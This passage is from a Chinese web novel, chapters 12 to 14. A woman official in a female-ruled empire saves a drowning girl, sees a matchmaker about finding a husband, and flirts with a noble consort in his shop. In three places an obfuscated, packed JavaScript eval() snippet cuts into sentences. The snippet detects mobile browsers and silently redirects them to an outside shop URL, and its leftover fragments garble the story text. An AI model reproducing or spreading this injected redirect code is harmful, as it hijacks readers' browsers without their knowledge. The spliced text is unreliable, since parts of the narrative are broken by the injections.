闻赋光在席间大吃大喝,来了这里之后她还是头一次吃席,新鲜得很。虽然自觉举止已经非常随意,但在人群中依然算是相当文雅。这些人喝了酒大笑大哭的也便罢了,还有非要展示自己作的狗屁不通的诗作的、绕着柱子如幼童般追逐打闹的、甚至脱了外袍非要踩在桌子上起舞的...... 她一心多用,一边竖起耳朵听附近席间几个人在讨论寻芳院头牌,一边看仅着里衣的几个女人在桌子上乱七八糟起舞,一边在跟猪肘子作斗争。 听说陆大人祖籍江南,席面上颇有几道江南菜,其中一道冰糖猪肘,浓油赤酱,炖煮得软烂,入口即化,令人十分欢喜。附近席位上几个人躺在地上打滚,闻赋光美滋滋地看她们表演节目,顺带解决了大半个猪肘子。 席面上当然也少不了牛羊肉,天冷了,正是吃锅子的好时候。桌上置了数口大铜锅,宾客们可自己动手将食材下锅,闻赋光盯着薄薄的鲜切牛羊肉在汤中翻滚,伸手捞起来蘸上麻酱和辣椒粉——辣椒在封建时代原本是相当稀罕的东西,可如今在菜场就能买到。她已经打听过,原来大媱有着极为繁茂的海贸,因此引进了大量的食材和调味料,极大地丰富了百姓的餐食。 感谢海贸,感谢火锅。闻赋光吃爽了。她现在每天的饭量是从前的几倍,一顿吃个半锅饭不在话下,原本她还有点担心与旁人不同,因而有意遮掩,不过经过观察她发现这饭量对于习武之人似乎很正常。她手下那群人就相当能吃,譬如阮笛,她今天是敞开了吃的,闻赋光注意着那边的动静,怀疑阮笛这一顿已经吃了半扇猪。 能吃是福。 吃多了牛羊肉,喝了几盅花雕,内室人又多,她有些燥热,跟身边的小伙伴们打了个招呼,也不知道她们听没听见,便往门外去。 这条街沿着观河而建,河边栽着两排垂柏,因是常青树,在这样的时节也并不显得萧瑟。见细雨不飘了,闻赋光打算沿着河岸走走。 凉丝丝的风带着潮气吹到她发烫的脸上,闻赋光舒适地伸了个懒腰,天上偶尔飞过一从大雁,河边芦苇丛里悉悉索索地藏着几只白鹭,一派安详中,她突然看见前方河边有个人在手舞足蹈。 闻赋光顿了顿,有些犹豫要不要绕道走,以免打扰,然而再细看前方人的动作,又似乎不太对劲。她加快脚步过去一看,河里竟然有个孩子在扑腾,岸上人看着跟闻赋光差不多大,似乎不会水,正急得捶胸顿足,不知道如何是好。 见有人靠近,她似乎抓住了一丝希望似的:“这位娘子!你会不会水?我妹妹失足掉河里了!可我不会水!” 京城河湖少,这个时代也没有游泳馆给孩子们学游泳,会凫水的人相当少。她原本也只是病急乱投医,实在没办法了只好抓住路人救助。闻赋光一扫周围,顿时有了主意,沉声安慰:“别急,我会,你先过来帮我。” 垂柏的枝条长长地垂在岸边,闻赋光招呼她过来一起薅几根长的下来,也难为她急得眼眶通红还能听得进她的话,两人合力,迅速地将枝条绑成长长的一条,一端系在树上,一端绑在闻赋光手上。 闻赋光动作极快地脱下了外袍和鞋子,只留里衣就下了河。河里的孩子呛了几口水,费力扑腾对体力消耗很大,已经快没力气了,一身厚厚的锦衣吸足了水,正带着她往下沉。闻赋光本想借着枝条的力直接将她拉上岸,奈何小孩一身打湿的衣袍太沉。刚刚时间紧,这枝条只是匆忙而为,强行拖拽恐怕会断,到时候就不是一个人遇险那么简单了,她们两人或许都要交代在河里。 下河救人时,施救者要从背后接近溺水者,因为溺水者在求生欲爆发的情况下,会死死抓着能够抓到的一切物体,施救者如果被死死缠住,两人可能会一起玩完。闻赋光从背后接近女孩,费力拎着她的后衣领,让她能够喘口气,又制住她不让她转身;一手够到她身前,开始脱她的衣袍。今天出门是为了赴宴,闻赋光身上没带武器或其他尖锐的东西,好在她对大媱的衣裳形制已经了如指掌,在水里也能找到衣服上的结,顶着河水的压力和女孩的慌乱顺利解开。 女孩在冰冷的河水中泡了许久,年幼的孩子有些扛不住,已经冻得僵硬,又出于本能惊恐地挥舞着手臂,闻赋光边低声安抚,边用力一拉手上的绳子,将她推到了岸边,岸上的女孩一直在紧张地盯着她们,见状也连忙伸手去拉,两人协力,一托一拽终于把落水的孩子带上了岸。 闻赋光缓缓爬上岸,河里冷得很,她的体力消耗也很大,但好在她才刚饱餐了一顿。感谢刚刚被她吃进去的牛羊猪肉,它们也是死得其所了,不然铁打的人也扛不住往河水里泡的这一遭。 那孩子应当已经没有生命危险,只是被冻得嘴唇乌青,又因为惊恐呛了不少水,此时有些脱力,靠在其姐怀中紧紧闭着眼。 “多谢娘子救命之恩!家母是通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718841|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政使徐帱,在下徐龄蕴,这是小妹妙园。敢问娘子姓名府邸?我等来日定要携重礼感谢娘子的大恩大德!”徐龄蕴怀抱着妹妹不方便行礼,干脆以掌为地,向她叩头。 “好说好说,我姓闻,名赋光,任五城兵马司副指挥使。”见她依然手足无措,此时也不知如何照顾妹妹,闻赋光好心提醒:“谢不谢的先不提,冷风吹着湿衣服恐怕要生病,得先给令妹换身衣服,带去给郎中看看吧?你们的侍从车马呢?” 徐龄蕴脸色一红:“闻娘子说得对,你也湿透了,是该换身衣服,可我们去哪换呢?我们今日出门没带侍从车马,我和妙园是偷溜出来玩的......” 闻赋光忍不住扶额......“这附近一排有不少酒楼客栈,选一家最近的即可。” 两人带着徐妙园湿淋淋地进了一家客栈,吩咐客栈的伙计跑个腿,去买两身大致符合她二人身量的衣服来,接着便在房中等着。还好这一排都是商铺,离成衣铺近,伙计很快就把衣服鞋子带了回来。 徐龄蕴开了两间上房,里头东西齐全,伙计还端上了热水,闻赋光胡乱擦洗一番,用了几条布巾把头发擦干。 因下水前脱了外袍,如今她只换了里衣和鞋子,原本的外袍还是照常套上。照了照客房中的铜镜,此时她看起来与赴宴时并没有什么区别。闻赋光理了理头发,她不欲让席间的人看出异样,而顺手从河里捞了个朝臣家孩子这件事,也不打算回到席上乱说。 通政司负责接受内外奏章,向来被称为是天家之耳,通政使作为其长官,更是三品大员,九卿之一,不折不扣的高官。她救人并非为了功利,今日哪怕只是一个贫民女童落了水,她能救便会救。然而如今既然已经与徐家有了这样的缘分,别因为言行不当反而成了仇。 通政使如此重要的位置,非天家亲信不可担任,徐帱在潜邸时就追随天家,只会也只能是纯臣。联想到闻家的微妙立场,闻赋光笃定徐家会千恩万谢,或许还会送上重礼,但两家应当不会有更深的牵扯了。 这样也好,她心里有个隐隐的念头,尽量少牵扯些朝臣对她来说更好更方便。不过这件事还是不得不与姨母通过气,不管怎么说,届时徐家来人上门,总也是瞒不过姨母的。 闻赋光整理好欲告辞,徐龄蕴热情地过来敲门,“闻娘子,你可收拾好了吗?我刚刚跟客栈的伙计打听过了,这斜对面就有一家小医馆,闻娘子随我们一起去,喝碗驱寒的汤药再走吧!”边说着,徐龄蕴已经进来贴着她,亲热地拉上她就要走。 闻赋光虽然年龄不大,也只是与她年龄相仿,然而遇事沉着冷静又镇定可靠,如天降英雌般一下就把小妹从河里救了上来,此举给惊恐无助的徐龄蕴留下了无比深刻的印象。此时她满满的都是亲近和崇敬之意,顺手就缠了过去,抓住闻赋光的胳膊一顿撒娇,闻赋光拗不过她,只好答应。 12. 第 12 章 徐龄蕴吩咐过客栈内的伙计,让她们使个人回自己家中报信,留下厚厚的赏钱后一把抱起徐妙园,三人朝附近那家小医馆走去。 她已经忘记方才的无助和惊恐,很快缓了过来,高兴地对着闻赋光叽叽喳喳:“闻娘子,我能叫你赋光吗?你多大了?唔,我们同岁,你叫我龄蕴就好。你在哪里学的凫水?好厉害!我也想学凫水!可是我娘整□□我读书写字,我不想读了,就和妙园一起跑出来玩了,我小妹怎么不说话?不碍事她困了就是这样的哈哈哈哈。在兵马司当差都要做些什么?下次我能找你一起玩吗?” 她一句接一句,抱着个四五岁的孩子,一边走一边还能脸不红气不喘地用密集的话炮轰她,闻赋光渐渐发现她的肺活量和体能似乎相当强悍,若非其母一心要她读书科举,或许会是个习武的好苗子。 “姐姐,你把我吵醒了。”从刚才换完衣服起就昏昏欲睡的徐妙园抬头,冲着徐龄蕴幽幽地控诉,“还有,不是我和你一起出来玩的,是你要溜出来,还非拉着我一起。” 闻赋光挑挑眉,这对姐妹怎么这么有意思?徐妙园才这么一丁点大,说话比她十几岁的姐姐更像大人。她没忍住,冲着何氏姐妹笑。 徐龄蕴以为是在笑她逃学,有些羞:“赋光,你别这么看着我!我娘给我布置的功课太多了嘛!而且......而且是我爹,他说想吃儿时在家里常吃的一种点心,可是我们府里的下人谁也不会做,我就想拉着小妹出来看看点心铺子里有没有......” 徐妙园把头埋进徐龄蕴怀里,不说话了。 初遇时她两手空空,闻赋光明白她们这趟是并没有收获了,有些疑惑:“既然是想吃家乡风味,也可以使人去请个家乡的厨子来京城,届时要吃什么点心菜肴不更方便?” “爹爹病了,娘公务繁忙,府里是阿爷管事,他是不喜欢我们前院的娘子们过问后宅的。我们应该在前院读书习字,不应该探问男人们的事情。”徐妙园像个大人似的叹口气,闷闷道。 “虽然如此,赋光说得对,等爹好起来,自然就能吃上了!”徐龄蕴信心满满,抛却了刚刚的烦忧。 高门大户竟然还有这样的规矩,闻赋光似懂非懂,也不便再多说什么。她一时没想到,这世上有一种矛盾,叫做翁婿矛盾。 大媱的男人们,因为囿于后宅,便格外地重视自己的一亩三分地。俗话说多年的女婿熬成公,又说男人最会为难男人。一旦他们地位上升成了公公,那自然便觉得第一次拥有了些生杀大权,紧接着就要为难人,什么晨昏定省那都是家常便饭,公公磋磨起女婿来简直是手拿把掐的事。久而久之,民间还有常年受到欺压的女婿因不堪虐待,怒而反抗,杀死公公的,之后自然是要杀人偿命。 因是以下犯上,以幼犯长,属于“十恶不赦”,按律历不仅要处以极刑,还要罪加一等,被戴着枷锁游街示众,被围观者扔烂叶子、吐唾沫唾骂后再凌迟处死,实在是可悲可叹。 徐家姐妹们一如大媱的许多官家女子,从小就长在前院,由母亲和诗文或武学老师、嬷嬷们抚育教养,对后宅那些不好搬上台面说的阴私并不熟悉。她们并没想到徐家虽然不至于闹到这地步,可翁婿关系也确实是没有多好的。 * 医馆内。 闻赋光坐着打量四周,她总觉得这个医馆很眼熟,很快她就回想起来,穿来之后第二天早上处理伤口,似乎就是来的这家小医馆。 医师还是见过的那位医师,那日她着急回去复命,给她塞了片金叶子就走了,医师看出来她火急火燎,也识相地没有多问。不想今日竟然如此有缘,又来到了这里。 闻赋光和徐龄蕴都是身姿高挑的女子,抱着个孩童一齐站在医馆门口时,几乎把光线都挡住了,引来馆中不少病人侧目。 医师询问过情况,弯着腰给徐妙园看诊,神情专注。片刻后,她直起身子,告诉两人这孩子受了惊又呛了水,此刻只是精神有些不济,若是到了夜里便有可能会烧起来,因此要开一方祛寒的汤药先服下,到了夜晚也要请家里的大人多多注意,徐龄蕴满口答应,拍着胸脯保证。 闻赋光没听那边的嘱咐,她正两眼发直,小口小口地喝着姜汤。受不了这个味,但她已经是大人了,没看连徐妙园这个小孩子都乖乖喝了吗,不能丢份! 徐龄蕴这时候灵光起来,要医师给闻赋光也把个脉,别落下什么风寒。那医师照做了,把完才发现闻赋光脉象平稳有力,实在是个即刻去绕着京城跑圈都没问题的强壮女子。 闻赋光捏着鼻子灌下最后几口姜汤,瘫在椅子上靠着墙,伸出一截舌头嘶嘶喘气,吃了一肚子冷空气才终于从一片火热中冷却下来。 舌头终于能好好收回去,眼睛又派上用场了,从进来起,她就注意到医馆内有个以纱覆面的年轻男子,低着头不断在医馆间穿梭。 他似乎十七八岁的样子,年轻却手法熟练。闻赋光看着他在药柜前对着手上的药方抓药,他从药柜中抓起对应的药材放到秤上,分量竟然分毫不差。一张方子很快抓好,再手脚麻利地打包捆上绳子,放置一边。做这些事情时,他始终专心致志地盯着手上的活计,哪怕闻赋光正饶有兴致地看他,也不曾抬头,其流畅利落,看起来就是干活的一把好手。 大媱的医馆除非专看男子病症,一般是不会收男药童的,闻赋光随口问起那是医馆的伙计吗,医师一笑:“那是犬子,他长大了,就在医馆里帮我做些活。” 他神态安然,似乎只是守着这一方小小的医庐就心满意足。“这个世道,男人多享福啊,有您家这么懂事的男娃可真是少见,”听了这话,旁边有其他病人夸赞道。 “娘子身体安泰,穿暖些,多喝些姜汤即可,不会有什么问题。”凑近了看,闻赋光发现这位医师疲态很重,看起来比两月前见面时苍老了不少。 闻赋光暗忖做医师是很辛苦的,古代的大夫除了看诊开方,还要自己收药材采药材晒药材等,工作相当繁重;而现代的医生除了出诊,还要做查房、写病历、培训、进修、夜班值班等一大堆事。除此以外,古代现代的医生们都会遇到共同的难题:医闹。她有个学医的高中同学就曾遇上过,过程和结果是相当的不尽人意,让她们这些朋友知道了只能嗟叹。 喝完了姜汤,闻赋光估计宴席那边要散场了,她得回去,作为客人,离开前应向主人家辞行。 “龄蕴,时间不早了,我还有事要去做,先告辞了。”闻赋光朝徐龄蕴拱手,后者正坐在徐妙园榻边,等徐家派车马来接。 徐龄蕴起身送她到门口:“赋光,过几日我们再见!”闻赋光笑着把她推回妹妹身边,加快脚步走了。 回了水榭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740216|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宾客正陆陆续续散场,陆大人毕竟上了年纪,一时高兴喝大了,此时已经被扶到旁边厢房中歇息,她不便去打扰。 现在厅中往来应酬的是陆府总管,闻赋光上前与她客套寒暄了一番,交流过“您家的宴席办得特别好特别周到真是宾主尽欢我吃饱喝足现在差不多该辞行了祝陆家小朋友健康成长”的一番话,就由陆府总管送到门边离去了。今日酒后发疯的宾客不少,闻赋光只是出去走了走,回来时一应穿戴都很正常,且神色清明,并未引起旁人的注意。 照理这时候闻赋光酒意该上涌了,但她去河里泡了一泡清醒得很,突然想起来一件事。 * 一个半时辰前,宴席上。 几盅酒下肚,只听得一个极具穿透力的声音嚷嚷道:“李乘,你最近不是说了门亲,说的哪家?什么时候办喜事?快跟我们说道说道!”那声音响亮,将旁人的声音盖了过去,附近几席的人纷纷转头过去,说话的是个三十多岁的壮妇,眼神明亮,爽朗不拘小节,她叫贺临,是四位副指挥使之一。 那被称为李乘的黑瘦妇人是个吏目,众目睽睽下,她抬手又倒了杯酒,慢悠悠地品,待周围八卦的目光逐渐变得炽热后,方才开口:“是啊,说了西市口卖豆腐的那家。” “卖豆腐的,可是孙五叔家的?”在场的众人对京城有几条街,街上都有谁那可太熟悉了,刹时就有人想起来,率先喊道。 李乘依然温吞,“正是。” 她这姿态,立刻就有人不干了,“李乘,怎么个事啊?姐妹之间吹牛,你还藏半截话在肠子里!快老实说,他家的哪个小郎?再不吐出来,老娘给你攥出来!” “就是啊!他家不是有两个?给你说的哪个?” 贺临对李乘更熟悉,眯了眯眼:“瞧她那轻狂样!我看是大的那个!” 这话一出,众人一阵嘘声,孙五叔常年卖豆腐,他是已经人老珠黄了,可他家有两个年轻小郎正待字闺中,还没嫁人。大的那个长得白净标致,他往豆腐摊上一站,一天下来能多卖两成呢,这般可心的人儿竟然就这么被李乘摘走了。不过李乘在官府办差,这桩婚事还是老孙家占便宜,大家心里也都明白,只是嘴上取笑她一二。 李乘向众人举杯,“同喜同喜啊!”娶到街坊邻居都夸好看的小郎,她自然得意。 “同什么喜!你的夫郎,又不给姐妹们香!”有人翻她白眼,她也不恼,笑骂去你爹去你大爷的,还是眯眯笑着喝酒,众人哄笑。 “你这亲事怎么说成的?前儿我听人说起,这孙大郎眼光高着呢,先头也有几家看中他去说和,都给孙五叔拒了。” “嚯,这里头可有学问呢,你说是吧老李?”有知道内情的,转头调侃李乘,“她可是下了本钱!” “怎么的?” “诶诶诶老李,姐姐我提醒你一句:你可得看仔细了,这男人嘛,骨头就是轻,你现在把他捧在手里,到了该管教的时候,可不能放纵了!” “可不是,就我那姨父家的表弟的妻主家的邻居家的妹弟,人家嫁了过去,妻家一家人可都稀罕个新女婿,那是有什么好吃的,好用的,都紧着他!可你们猜怎么着?新婚没过半月,他跑了!这男人啊,就是不能对他太好,对他好了他反而不知足!要我说,就该时不时给他吃顿生活!后来我还听说......” 13. 第 13 章 眼见众人七嘴八舌,越扯越远,李乘轻咳一声:“送了几样礼物,请了周媒公去说和,他一说就成了。”那周媒公的声名似乎是很响亮的,有不少人都知道他,连连追问。 闻赋光的注意力原本也被那人的八卦吸引过去,她正拿这些话当下饭菜送服大肘子,奈何突然被李乘打断,不免大失所望。然而听了李乘的话,有一个困扰了她这些日子的问题倒是有了点眉目。 她扒了两口菜,旁人的闲话不再往耳朵里进了。 她要娶夫后才能拿到属于大房的财产,否则靠她自己的俸禄,或许要从女蜗娘娘捏人开始打工,一直到今天大媱顺平二十年十月,才能置得起京城的家业。但她这些日子真的苦恼了很久,娶谁? 先不论夫郎的样貌性情,她只愿娶个和朝中党争没关系的男子,为避免麻烦,家里人口越少越好,最好母父双亡还没有其他任何亲戚。 想得是挺周全,然而环顾周身,她并不认识这样一个符合她条件的男子,“拿回家产大计”一时就这么僵持住了。直到今日听了她们的闲聊,她才想起来还有媒人这个行业。 * 择日不如撞日,不如早些把这事敲定。宴席散场后辞别了陆家管家,闻赋光在大街上晃荡,琢磨着求人办事该送些什么礼物好。 她先去肉铺选了条肥肉多的猪肉。在现代,大家自然是更青睐肥瘦相间的肉,但这是在古代。百姓家里的饮食有没有油水,能够直观反映这家的生活水平,送这个准不会出错。 肉铺隔壁有酒铺,闻赋光提了坛酒,又去点心铺子买了两包点心,凑够了四样礼,按席上她们说的地方,找去了周媒公家。 “娘子,你莫不是在为难老身!”媒公把手上的茶碗往桌上一放,瞥见那几样妥贴的礼物,心里有些不舍,然而转头见着眼前的年轻后生,脸上的每一条沟壑都写满了不理解,眉头皱得几乎能掐死苍蝇,“娘子出身官家,自己在五城兵马司当值,长得还俊,你若要老身给你择个官家男郎,”媒公拍着胸脯梆梆响,“老身恐怕顿时就能想出五六七八个,可你偏偏要找这样的夫郎!俗话说:娶夫低娶,嫁男高嫁。娶夫要找出身略低些的男子本也没错,可哪有如此这般的?娘子,你跟老身实话说,可是真心想要过日子?” 闻赋光早有预料,她这个要求听起来像同行派去找茬的,媒公难免怀疑她,便拿出了自己早先准备好的一套话术,神色肃然道:“我自然是真心!您看我带了这些礼物来,这般有诚意,怎会是寻您的开心?阿公不知,这......便与我幼时曾遇大师批命有关了:这位大师她见过我的面相,说我命格奇特,虽然于自身无碍,却不能娶母父双全的男子为夫,若是娶了,便会克了岳家。因此我想,不如寻一位失了母父,孑然一身的男子,这样世间既少了一位可怜人,也不会害了岳家,最后使我愧疚一生!还请阿公助我,找到这样的一位男子,得他为夫,我此生便安心了!” 她这段话背得掷地有声、抑扬顿挫,内容又是如此有情有义,话中的贴心和温情终于勉强说服了媒公,媒公叹了口气,拉着她坐下,“可你还要他身家清白又识文断字!娘子,若只是要孤身一人的小郎,阿公我即刻就能给你寻来,要多少个就有多少个!可你还要好人家出身的,又识字会管家理事的,咱们平常人家的男儿哪有能上学的?这样的人可不好找!对了,若还有什么别的要求,娘子一并告诉了我来。” 闻赋光眼珠转了转,“品行自然要好,总不至于作奸犯科的,略明事理些即可;再有性情和顺些,不要狡诈之人;至于容貌最好是......端正即可!”见媒公神色越来越凝重,闻赋光收回了自己美好的畅想,瞬间改口。实在长得丑点就丑点吧,反正也只是工具人,她无意为难别人,只要未来的夫郎老老实实不闹什么幺蛾子,有她在一天,还是能让他安生过日子的。 媒公咬了咬牙,思及闻赋光出手阔绰,舍不得这一笔生意,硬是答应下来:“这事容我想想,上哪里去给娘子寻个无母无父又识字的清白男子来嫁与娘子。娘子品貌非凡,想来若能找到,那男方必不会拒绝。”他倒也爽快,“这事若成了,娘子可得重重谢我!” “一定一定!” 谈妥后,闻赋光哼着小曲出了周家门,专业的事还得要交给专业的人,作为混迹京城及周边下辖县城几十年的老人,他肯定会有些不好对外人说的路子。若确实有这样的人,他肯定能寻来;若他都找不到,那闻赋光本人亲自去找只会更难。 不过她还有一件事还没能解决:待寻到了人要如何回姨母。小夫郎目前连个人影也没有,闻赋光暂且没想到章程,大约也就是演些一见倾心非他不娶的戏码,不知道有没有用。届时再说,有了人选总是比没有好办的。 闻赋光悠闲地在大街上晃荡,她不太想即刻就回闻府自己院里,那里太冷清,没什么人气。 晃了两圈,路过一家门面敞亮宽阔的店铺,她认了出来,这就是上回肖从晗和肖从青两兄弟寄卖绣品的那家。这锦绣坊说是绣铺其实也不然,店里还摆了些首饰卖。 她踱进去一看,木制的柜台上摆着一个个小小的玉制或瓷制浅盘,首饰都是些精致的款式。看得出打出这些首饰的工匠手艺很好,这些都并不比现代商场里的首饰差。要价也是相当不菲,动辄十两银子,面向的顾客群体是富贵人家的郎主郎君们。 闻赋光便是想买,如今也没有人可送。她打量过两眼,转身就要出去,这时锦绣坊二楼上下来一个侍男打扮的年轻男子,见她往外走,急忙出声叫住了她。 “闻娘子留步!” 闻赋光奇怪,是在叫她吗?她从没来这里消费过,谁会认得她? 转身一看,是一张有些熟悉的脸,似乎在哪见过,那少男朝她行了个礼,“娘子,我家主子请您往楼上叙话。” 他开口说完话,她就想起来了,他是那天赏菊宴上姜栀棠身边的侍男,神秘消失后又神秘出现,行动敏捷。至于他口中的主子,便也没有悬念了。皇家郡君当然不会随便出现在大街上,恐怕这个店铺是归他或者帝卿所有。 闻赋光边上楼梯,边暗暗打量着这座锦绣坊,她还以为这个商铺只是有钱一点,店面大了点,原来幕后主人这么有来头。 锦绣坊的二楼并非是她想象中的仓库那么杂乱,反而有几个雅间,装修得与一楼一般风格,很雅致。 这也难怪,会来店中挑选首饰的大多是男子,年轻小郎们在一楼选几朵珠花也就够了,而有些上了年纪的郎主们自然不好同年轻人一般挤在楼下,抛头露面,还是坐到楼上慢慢挑选的安心。 侍男领她到了雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747882|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间门口就站定在门外,闻赋光一个人走进去。 似乎她每次见到姜栀棠,他都是全副武妆,这次也一样,一身薄藤色织锦袍子衬得他肤□□致,外面罩了件薄薄的披风,并不显臃肿,与他良好的仪态相得益彰,看起来十分挺拔,姿态优美。有点像她小时候在电视剧里见过的换装小人。 姜栀棠正倚在窗边,神色似乎在思索什么,闻赋光忍不住冲他吹了个口哨。 对这样的调戏之举,他接受良好,笑意盈盈看过来,“闻娘子,巧遇。” 闻赋光这个人有个蹬鼻子上脸的恶习,察觉到他的态度,便放松自在起来,敷衍地晃了晃,就算是行过礼了,直接在桌前坐下。 姜栀棠并不介意她如此随意,上前亲自倒了杯茶,“这是今年产的碧螺春,试试——” 话未说完,他的目光触及到闻赋光的颈侧,那里有一道新鲜的抓痕,看得出抓的时候劲不小,一头冒出了条红痕,另一头隐藏在衣领里,若非像他这样从上方凑近,想必看不出来。 姜栀棠顿了顿,思绪纷乱,“你受伤了。” “什么?”顺着他的目光,闻赋光摸了摸自己的颈侧,什么都没有——嘶,她真的受伤了。 这应当是下水救人时,被徐妙园无意中挠伤的。换衣服的时候她没看见,那会才刚被抓到,伤痕不显。这会经人提醒,她确实感觉到有点痛,再一摸,似乎还不止一道。 姜栀棠转身,闻赋光坐着看他从后头橱柜里拿出了个碧玉小瓶。 “这是玉容膏,涂在伤口上好得快,不会留疤。” 闻赋光接过小瓶,这会儿没有镜子,她取了点药膏摸索着,涂不大准。 “我来吧。”姜栀棠在她身旁坐下,自然地接过了药瓶,手指纤纤,取了一捻玉容膏,动作轻柔地涂上了她的脖颈。 闻赋光沉默了,他们两人在她不知道的时候变得更熟了吗?熟到可以一方给另一方上药了吗? 但姜栀棠的动作过于自然,她要是大惊小怪,岂不被他衬得很不从容?一种莫名的胜负欲使她不愿表现出无措。 他凑得近了,熟悉的香气又沁了过来,还是前两次见面时那个带着些果香的熏香。闻赋光为了缓解尴尬,没话找话道:“你的熏香不错。” “是我自己调的,除了寻常的香料,还用了些桃肉和桃皮。”姜栀棠朝她笑笑,“今日正好带了些出来,娘子喜欢,不如带些回去。” 闻赋光有些惊讶:“你还会这些,那我就不客气了。” 那几道伤有些在衣领下,闻赋光抬手解了颗扣子,方便他涂药。药膏清清凉凉,涂在有些发烫的伤口上很舒适,她发出了一声满意的喟叹。 姜栀棠面上有些微红,纤长乌黑的睫毛颤动着垂下,专注地盯着自己的手,装作毫不在意。闻赋光看着他动作,看自己的手看得也太专心了吧。 “你快要埋进我怀里了。”她善意提醒。 他几乎是一跃而起,顺势也把椅子带倒了,砸在地上发出清脆的响声。 ......两人面面相觑。 作为高贵的宗室贵男,一向是夫男礼仪典范,还没丢过这样的人吧?眼里有点湿漉漉了。 怎么办,有点可爱。 这一局她赢得很明显,闻赋光简直得意洋洋。 14. 第 14 章 “好啦,郡君大人有大量,消消气,让下官来给你倒杯茶。尝尝!多好的茶汤,你是讲究人,煮茶用的不是一般井水吧?”闻赋光把衣领系上,给他个台阶拉他坐下。这茶香气浓郁,今天大鱼大肉吃多了,喝杯清茶很闲适。 “是从今年夏季的荷叶上采来的露水。”姜栀棠捧着茶杯,浅啜一口,暗中打量对座之人,犹豫再三,还是问出了口:“......你为什么受伤?”见她三次面,有两次是带着伤的。 闻赋光没想到他还记着这个,一时语塞。她救了个落水的孩童,算是做了件好事。本来也没什么不能说的,但此时徐家态度未明,她也不知道是否合适对他提起。 见她欲言又止,似乎说不出口,姜栀棠心头一沉,慌乱间转移话题,“近日我舅舅要为我定亲。”姜栀棠悄悄观察她的反应,生怕听见“哦,那与我何干”之类的话,“舅舅看中了礼部尚书廉颂的幼孙,廉意迟。可我对她无意,而且我曾偶然得知,这位廉娘子她......她不好男色。” 闻赋光被他问得心虚,巴不得转移话题。闻言便想了起来,先前她和阮笛聊八卦的时候说起过,重徽郡君年幼丧母,由舅舅庆康帝卿抚养长大。如今他已经到了成婚的年纪,这两年都在准备他的嫁妆了。 可他跟她说这个做什么?闻赋光略作思考,恍然大悟道:“所以,你要我去勾引她,让她拒绝与你结亲!” 看到闻赋光有些掩饰不住兴奋的样子,姜栀棠沉默地看着她。 “诶,开玩笑的。”闻赋光讪笑,转而又觉得不对,“你怎么知道她不好男色?” 这下轮到姜栀棠哑口无言,闻赋光用怀疑加谴责的眼神看着他:“郡君,你可不能因为不想嫁给她就胡说八道啊。” 听了这话,姜栀棠眉头紧蹙,语气中便带上一丝明显的委屈:“是真的,她与教坊的一名琴师交好,我也是偶然得知。” 男子多舌多嘴在大媱是很严重的品行问题,就凭这一条,爱嗦摆的男人轻则被休回爹家,重则要下狱,让全家人都抬不起头,他绝不能在她心里担上这样一个罪名。 见他一副泫然欲泣的样子,闻赋光决定暂且相信他:“行行行,那你打算怎么办?” 姜栀棠眼尾有点红,坦然道:“不怎么办,我向廉意迟送信说明原委,只要她拒婚,我就能安排这位琴师脱了籍,她当然知道怎么选。” ......那你跟我说什么! 闻赋光试图用眼神传达她此刻无语的心情,“对了,您怎么会大驾光临到这来?”她决定先不跟他纠缠这件事。 “我来查账。”姜栀棠眨眨眼,轻描淡写道:"回了京城以后,舅舅要我学着管起来,给了我几个铺子练手。" 这铺子果然是他的,闻赋光隐约觉得忽略了什么,但她说不上来,想了想道:“之前那套茶盏,多谢,我很喜欢。不过你已经什么都有了,我也没什么能还的,就不与你客气了。” “那是我亲自画了图样命人烧的,天下仅有一套,如今已都在娘子手上。”姜栀棠指尖轻点桌上的白瓷杯,声音放得轻轻的,像片羽毛飘过来,挠得人心痒痒。 “想不到郡君还会才艺,佩服佩服。”闻赋光不假思索,顺势吹捧道。 雅间里一时安静下来,闻赋光边品茗边打量着窗外,她还没在这个时间段,以这个视角观察过京城大街上的人间百态,平日难得有这样闲暇的时刻,还挺新鲜。 “是被人抓到的吗?” 过了两息,闻赋光才反应过来,他刚刚对她说话了。 “什么?” 姜栀棠已经转身过去,“没什么。” 闻赋光望着他的背影,咧开嘴一笑:“是啊。你猜是谁?” 他背对着她,看不见神色,也没有答话。 闻赋光没管他,继续说:“我可是做了件好事。今日算是我走大运了,救了个孩子。你猜猜,是谁家的?”她斟酌过了,觉得告诉他也无妨。 “是谁?”姜栀棠终于肯转过来了。 “是通政使徐帱的幼女,那孩子失足,我下水把她了捞上来。河里水冷,我才压根没发现她挠了我。” “你下水了?”姜栀棠脸色微变,闻赋光手撑着下巴,懒洋洋地道:“是啊,不过很快就上岸了。” 